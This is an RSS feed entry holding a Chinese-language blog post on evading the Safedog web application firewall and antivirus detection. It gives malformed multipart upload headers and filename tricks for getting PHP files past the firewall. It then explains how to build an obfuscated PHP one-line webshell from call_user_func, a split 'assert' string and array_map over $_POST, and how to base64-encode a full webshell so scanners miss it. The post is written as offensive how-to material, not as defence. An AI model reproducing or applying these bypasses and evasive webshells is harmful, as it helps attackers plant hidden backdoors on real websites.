					<description><![CDATA[原创文章，转载请标明出处！ 0x00 介绍 鲁迅说:偷窃一个的是创意剽窃，偷窃很多人的创意是研究。 本文是个人学习的一个小总结，很多思路都是学习网上大佬的，可能本文中的某个思路或许...]]></description>
										<content:encoded><![CDATA[<blockquote><p>原创文章，转载请标明出处！</p></blockquote>
<h1>0x00 介绍</h1>
<blockquote><p>鲁迅说:偷窃一个的是创意剽窃，偷窃很多人的创意是研究。</p></blockquote>
<p><img src="/wp-content/uploads/2018/02/4183059126.jpg" alt="1.jpg" title="1.jpg"><br />本文是个人学习的一个小总结，很多思路都是学习网上大佬的，可能本文中的某个思路或许已经被公布，但是我阅历比较少，并不知道，如果有重复的，可以提出来，我会文章后面贴上地址。</p>
<h1>0x01 上传绕过</h1>
<pre><code>说到突破狗绕过，公布的姿势太多了，常规的后缀大小写修改、截断上传、不规则文件名截断、删除Conten-Type、垃圾数据填充等。我简单的总结下。</code></pre>
<h2>环境</h2>
<p><strong>Windows版某狗ApacheV3.5+phpstudy</strong><br /><img src="/wp-content/uploads/2018/02/3448019682.jpg" alt="2.jpg" title="2.jpg"><br />说道这里，可能有人会吐槽你这是V3.5的不是还有个V4.0的嘛，什么文章啊垃圾。关于版本问题我以前写过一篇水文，绕的是V4.0加服务器<span class="wpcom_tag_link"><a href="/tags/%e5%ae%89%e5%85%a8%e7%8b%97" title="安全狗" target="_blank">安全狗</a></span>，不多说直接上图。<br /><img src="/wp-content/uploads/2018/02/1063662340.jpg" alt="3.jpg" title="3.jpg"><br />其实版本是有差异但是方法都是一样的。</p>
<h2>绕过</h2>
<p>Burp抓包  <strong>原本数据包</strong></p>
<pre><code>------WebKitFormBoundaryl2Fe3Re3WQjeJFBi
Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;1.php&quot;
Content-Type: application/octet-stream</code></pre>
<p>思路：改变大小写+垃圾数据填充+删除<br />主要从这里入手<br /><code>Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;1.php&quot;</code><br /><img src="/wp-content/uploads/2018/02/4218763905.jpg" alt="4.jpg" title="4.jpg"><br /><code>Content-Disposition:</code>大写<code>C</code>改为小写<code>c</code><br /><img src="/wp-content/uploads/2018/02/1120295546.jpg" alt="5.jpg" title="5.jpg"><br /> <code>form-data;</code>前面加<code>zz</code><br /><img src="/wp-content/uploads/2018/02/1695878997.jpg" alt="6.jpg" title="6.jpg"><br /> <code>form-data;</code>把<code>f</code>去掉<br /> 上面三个例子只是简单的一个小例子，我想给大家说的其实是，我们可以下面的数据<code>为所欲为</code><br /> <code>Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;1.php&quot;</code><br />比如随便删除，修改，回车，增添，倒转都可以，然后你会发现绕狗上传是如此简单。<br />下面介绍几个有趣点的:<br /><code>filename=&quot;4.php&quot;</code>改成<code>filename=4.php filename&quot;&quot;</code><br /><img src="/wp-content/uploads/2018/02/3817393004.jpg" alt="7.jpg" title="7.jpg"><br />倒转把<code>Content-Type: application/octet-stream</code>提到上面来<br /><img src="/wp-content/uploads/2018/02/3911719939.jpg" alt="8.jpg" title="8.jpg"><br />把<code>name=&quot;file&quot;</code>提到前面来<br /><code>Content-Disposition: name=&quot;file&quot;; form-data;  filename=&quot;6.php&quot;</code><br />回车:<br /><img src="/wp-content/uploads/2018/02/5796017.jpg" alt="9.jpg" title="9.jpg"><br />还有 <code>&quot; ' ; </code></p>
<pre><code>filename=&quot;&quot;xx.php&quot;  //加个双引号
filename=&quot;;xx.php&quot;  //加个分号
filename=&quot;'xx.php&quot;  //加个单引号</code></pre>
<p>就到这里告一段落了，关于狗的版本差异问题没多大，上面的方法试试，然后就可以找到了，大家可以多动手，发挥脑洞，这类方法也可以在其他WAF试试，给大家提供些思路<code>协议未覆盖</code>，<code>Fuzz模糊测试突破文件上传</code>。</p>
<h1>0x02 <span class="wpcom_tag_link"><a href="/tags/%e5%85%8d%e6%9d%80" title="免杀" target="_blank">免杀</a></span><span class="wpcom_tag_link"><a href="/tags/%e4%b8%80%e5%8f%a5%e8%af%9d" title="一句话" target="_blank">一句话</a></span></h1>
<p>这里我详细讲解一个<span class="wpcom_tag_link"><a href="/tags/%e8%bf%87%e7%8b%97" title="过狗" target="_blank">过狗</a></span>过D盾的php一句话的编写。在Tool论坛分享过</p>
<ul>
<li>先来看看我们常见的PHP一句话长啥样</li>
</ul>
<p>&#8220;<br />首先我们需要了解两个PHP函数 <code>call_user_func()</code>和<code>array_map()</code></p>
<ul>
<li>call_user_func()</li>
</ul>
<pre><code>function uu($x,$y){     //定义了一个uu的函数 参数为变量 $x,$y
        return $x.$y;      //返回值为 是将$x和$y拼接
}
echo @call_user_func('uu',Too,ls);  //将&quot;Too,ls&quot;分别传给 $x , $y ,组成Tools，  echo输出Tools @是防止报错</code></pre>
<p>运行结果<br /><img src="/wp-content/uploads/2018/02/519987570.png" alt="1tools.png" title="1tools.png"><br />大家知道 assert是PHP一句话中常见的执行函数</p>
<pre><code>function uu($x,$y){
        return $x.$y;
}
echo @call_user_func('uu',ass,ert);</code></pre>
<p>如果我们这样写是不是就组成了assert, 满足文章开头常见一句话的特征咯。</p>
<ul>
<li>array_map()</li>
</ul>
<p>看个小例子i<br /><img src="/wp-content/uploads/2018/02/1680984110.png" alt="tool3.png" title="tool3.png"><br />效果: 大家只要记住 $arr可以是个数组<br /><img src="/wp-content/uploads/2018/02/260084894.png" alt="2tools.png" title="2tools.png"><br />如果我们这样写，也算个数组了，看到这里很多小伙伴灵机一动<br /><code>$i = array($_POST[x]);</code></p>
<ul>
<li>编写一句话</li>
</ul>
<p>把上述的列子结合起来就可以了<br /><img src="/wp-content/uploads/2018/02/330229302.png" alt="tools4.png" title="tools4.png"><br />去掉注释比较方便。</p>
<p>是免杀的，过狗的可以的<br /><img src="/wp-content/uploads/2018/02/2918387524.png" alt="tool5.png" title="tool5.png"></p>
<ul>
<li>总结</li>
</ul>
<p>主要是用各种方法拼接组合相关执行函数，然后运用回调函数的方法来执行。免杀可能是一时的，但是思路是活的，大家可以去学学php基础，也可以轻易写出免杀的一句话。</p>
<h1>0x03 免杀大马</h1>
<p><a href="https://www.t00ls.net/thread-44213-1-1.html">思路来源</a></p>
<ul>
<li>首先需要一份大马源码</li>
</ul>
<p><img src="/wp-content/uploads/2018/02/3435870925.png" alt="tools5.png" title="tools5.png"></p>
<ul>
<li>思路</li>
</ul>
<pre><code>// base64_decode函数的作用是对base64编码过的数据进行解码
</code></pre>
<ul>
<li>免杀</li>
</ul>
<p><img src="/wp-content/uploads/2018/02/4139391286.png" alt="tools6.png" title="tools6.png"><br />有人说这只是静态免杀，大马操作时候还会拦截，然而并不会。<br />我在大马上执行命令还是不会拦截。<br /><img src="/wp-content/uploads/2018/02/2023285932.png" alt="tools7.png" title="tools7.png"></p>
<h1>总结</h1>
<p><strong>我们是站在前人的肩膀上成长起来的。</strong></p>
]]></content:encoded>
					
					<wfw:commentRss>/web/355.html/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
	</channel>
</rss>
